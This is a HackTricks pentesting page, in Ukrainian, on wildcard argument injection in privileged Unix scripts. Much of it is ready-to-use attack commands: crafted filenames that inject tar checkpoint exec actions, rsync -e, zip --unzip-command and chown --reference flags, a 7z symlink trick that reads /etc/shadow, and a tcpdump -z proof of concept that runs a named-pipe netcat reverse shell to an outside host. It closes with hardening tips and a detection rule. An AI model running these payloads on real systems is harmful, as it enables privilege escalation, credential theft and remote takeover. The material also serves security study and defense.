Wildcards Spare Tricks
Reading time: 7 minutes
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.
Wildcard (також відомий як glob) ін'єкція аргументів відбувається, коли привілейований скрипт виконує Unix-бінарний файл, такий як
tar
,chown
,rsync
,zip
,7z
, … з неквотованим шаблоном, таким як*
. Оскільки оболонка розширює шаблон перед виконанням бінарного файлу, зловмисник, який може створювати файли в робочому каталозі, може створити імена файлів, які починаються з-
, щоб їх інтерпретували як опції замість даних, ефективно контрабандуючи довільні прапори або навіть команди. Ця сторінка збирає найкорисніші примітиви, нещодавні дослідження та сучасні виявлення на 2023-2025 роки.
chown / chmod
Ви можете скопіювати власника/групу або біти дозволів довільного файлу, зловживаючи прапором --reference
:
# attacker-controlled directory
touch "--reference=/root/secret``file" # ← filename becomes an argument
Коли root пізніше виконує щось на зразок:
chown -R alice:alice *.php
chmod -R 644 *.php
--reference=/root/secret``file
інжектується, що призводить до того, що всі відповідні файли успадковують власність/дозволи від /root/secret``file
.
PoC & tool: wildpwn
(комбінована атака).
Дивіться також класичну статтю DefenseCode для деталей.
tar
GNU tar (Linux, *BSD, busybox-full)
Виконуйте довільні команди, зловживаючи функцією checkpoint:
# attacker-controlled directory
echo 'echo pwned > /tmp/pwn' > shell.sh
chmod +x shell.sh
touch "--checkpoint=1"
touch "--checkpoint-action=exec=sh shell.sh"
Якщо root виконує, наприклад, tar -czf /root/backup.tgz *
, shell.sh
виконується як root.
bsdtar / macOS 14+
За замовчуванням tar
на останніх версіях macOS (на базі libarchive
) не реалізує --checkpoint
, але ви все ще можете досягти виконання коду за допомогою прапора --use-compress-program, який дозволяє вам вказати зовнішній компресор.
# macOS example
touch "--use-compress-program=/bin/sh"
Коли привілейований скрипт виконує tar -cf backup.tar *
, /bin/sh
буде запущено.
rsync
rsync
дозволяє вам переоприділити віддалену оболонку або навіть віддалений бінарний файл за допомогою параметрів командного рядка, які починаються з -e
або --rsync-path
:
# attacker-controlled directory
touch "-e sh shell.sh" # -e <cmd> => use <cmd> instead of ssh
Якщо root пізніше архівує каталог за допомогою rsync -az * backup:/srv/
, ін'єкційний прапор запускає вашу оболонку на віддаленій стороні.
PoC: wildpwn
(rsync
mode).
7-Zip / 7z / 7za
Навіть коли привілейований скрипт оборонно додає префікс до шаблону з --
(щоб зупинити парсинг опцій), формат 7-Zip підтримує файли списків файлів, додаючи префікс @
до імені файлу. Поєднання цього з символічним посиланням дозволяє вам екстрактувати довільні файли:
# directory writable by low-priv user
cd /path/controlled
ln -s /etc/shadow root.txt # file we want to read
touch @root.txt # tells 7z to use root.txt as file list
Якщо root виконує щось на зразок:
7za a /backup/`date +%F`.7z -t7z -snl -- *
7-Zip спробує прочитати root.txt
(→ /etc/shadow
) як список файлів і вийде, друкуючи вміст у stderr.
zip
zip
підтримує прапорець --unzip-command
, який передається дослівно до системної оболонки, коли архів буде перевірено:
zip result.zip files -T --unzip-command "sh -c id"
Впровадьте прапор через спеціально підготовлену назву файлу та чекайте, поки привілейований скрипт резервного копіювання викличе zip -T
(тест архіву) на отриманому файлі.
Додаткові двійкові файли, вразливі до ін'єкцій з використанням підстановок (швидкий список 2023-2025)
Наступні команди були зловживані в сучасних CTF та реальних середовищах. Пейлоад завжди створюється як назва файлу всередині записуваної директорії, яка пізніше буде оброблена з використанням підстановки:
Binary | Flag to abuse | Effect |
---|---|---|
bsdtar | --newer-mtime=@<epoch> → arbitrary @file | Читати вміст файлу |
flock | -c <cmd> | Виконати команду |
git | -c core.sshCommand=<cmd> | Виконання команди через git по SSH |
scp | -S <cmd> | Запустити довільну програму замість ssh |
Ці примітиви менш поширені, ніж класичні tar/rsync/zip, але їх варто перевірити під час полювання.
Хуки ротації tcpdump (-G/-W/-z): RCE через ін'єкцію argv у обгортках
Коли обмежена оболонка або обгортка постачальника формує командний рядок tcpdump
, об'єднуючи поля, контрольовані користувачем (наприклад, параметр "назва файлу") без суворого цитування/перевірки, ви можете підсунути додаткові прапори tcpdump
. Комбінація -G
(ротація за часом), -W
(обмеження кількості файлів) та -z <cmd>
(команда після ротації) призводить до виконання довільної команди від імені користувача, який запускає tcpdump (часто root на пристроях).
Попередні умови:
- Ви можете впливати на
argv
, переданіtcpdump
(наприклад, через обгортку на кшталт/debug/tcpdump --filter=... --file-name=<HERE>
). - Обгортка не очищає пробіли або токени з префіксом
-
у полі назви файлу.
Класичний PoC (виконує скрипт зворотного шелу з записуваного шляху):
# Reverse shell payload saved on the device (e.g., USB, tmpfs)
cat > /mnt/disk1_1/rce.sh <<'EOF'
#!/bin/sh
rm -f /tmp/f; mknod /tmp/f p; cat /tmp/f|/bin/sh -i 2>&1|nc 192.0.2.10 4444 >/tmp/f
EOF
chmod +x /mnt/disk1_1/rce.sh
# Inject additional tcpdump flags via the unsafe "file name" field
/debug/tcpdump --filter="udp port 1234" \
--file-name="test -i any -W 1 -G 1 -z /mnt/disk1_1/rce.sh"
# On the attacker host
nc -6 -lvnp 4444 &
# Then send any packet that matches the BPF to force a rotation
printf x | nc -u -6 [victim_ipv6] 1234
Деталі:
-G 1 -W 1
примушує негайну ротацію після першого відповідного пакета.-z <cmd>
виконує команду після ротації один раз за ротацію. Багато збірок виконують<cmd> <savefile>
. Якщо<cmd>
є скриптом/інтерпретатором, переконайтеся, що обробка аргументів відповідає вашому корисному навантаженню.
Варіанти без знімних носіїв:
- Якщо у вас є будь-яка інша примітивна можливість запису файлів (наприклад, окремий обгортка команди, яка дозволяє перенаправлення виходу), помістіть свій скрипт у відомий шлях і викликайте
-z /bin/sh /path/script.sh
або-z /path/script.sh
в залежності від семантики платформи. - Деякі обгортки постачальників ротації переміщуються до місць, контрольованих атакуючими. Якщо ви можете вплинути на ротаційний шлях (символічне посилання/перехід по директоріях), ви можете направити
-z
на виконання вмісту, який ви повністю контролюєте без зовнішніх носіїв.
Поради щодо зміцнення для постачальників:
- Ніколи не передавайте рядки, контрольовані користувачем, безпосередньо в
tcpdump
(або будь-який інший інструмент) без строгих списків дозволених. Кодуйте та перевіряйте. - Не відкривайте функціональність
-z
в обгортках; запускайте tcpdump з фіксованим безпечним шаблоном і повністю забороняйте додаткові прапори. - Зменшуйте привілеї tcpdump (лише cap_net_admin/cap_net_raw) або запускайте під спеціальним непривілейованим користувачем з обмеженням AppArmor/SELinux.
Виявлення та зміцнення
- Вимкніть оболонкове глобування в критичних скриптах:
set -f
(set -o noglob
) запобігає розширенню шаблонів. - Кодуйте або екрануйте аргументи:
tar -czf "$dst" -- *
не безпечно — надавайте перевагуfind . -type f -print0 | xargs -0 tar -czf "$dst"
. - Явні шляхи: Використовуйте
/var/www/html/*.log
замість*
, щоб атакуючі не могли створити сусідні файли, які починаються з-
. - Мінімальні привілеї: Запускайте резервні/обслуговуючі завдання як непривілейований обліковий запис служби замість root, коли це можливо.
- Моніторинг: Попередньо створене правило Elastic Potential Shell via Wildcard Injection шукає
tar --checkpoint=*
,rsync -e*
абоzip --unzip-command
, які безпосередньо передують дочірньому процесу оболонки. Запит EQL можна адаптувати для інших EDR.
Посилання
- Elastic Security – Правило виявлення Potential Shell via Wildcard Injection (остання оновлення 2025)
- Rutger Flohil – “macOS — Tar wildcard injection” (18 грудня 2024)
- GTFOBins – tcpdump
- FiberGateway GR241AG – Full Exploit Chain
tip
Вивчайте та практикуйте AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Вивчайте та практикуйте GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Вивчайте та практикуйте Azure Hacking:
HackTricks Training Azure Red Team Expert (AzRTE)
Підтримайте HackTricks
- Перевірте плани підписки!
- Приєднуйтесь до 💬 групи Discord або групи telegram або слідкуйте за нами в Twitter 🐦 @hacktricks_live.
- Діліться хакерськими трюками, надсилаючи PR до HackTricks та HackTricks Cloud репозиторіїв на github.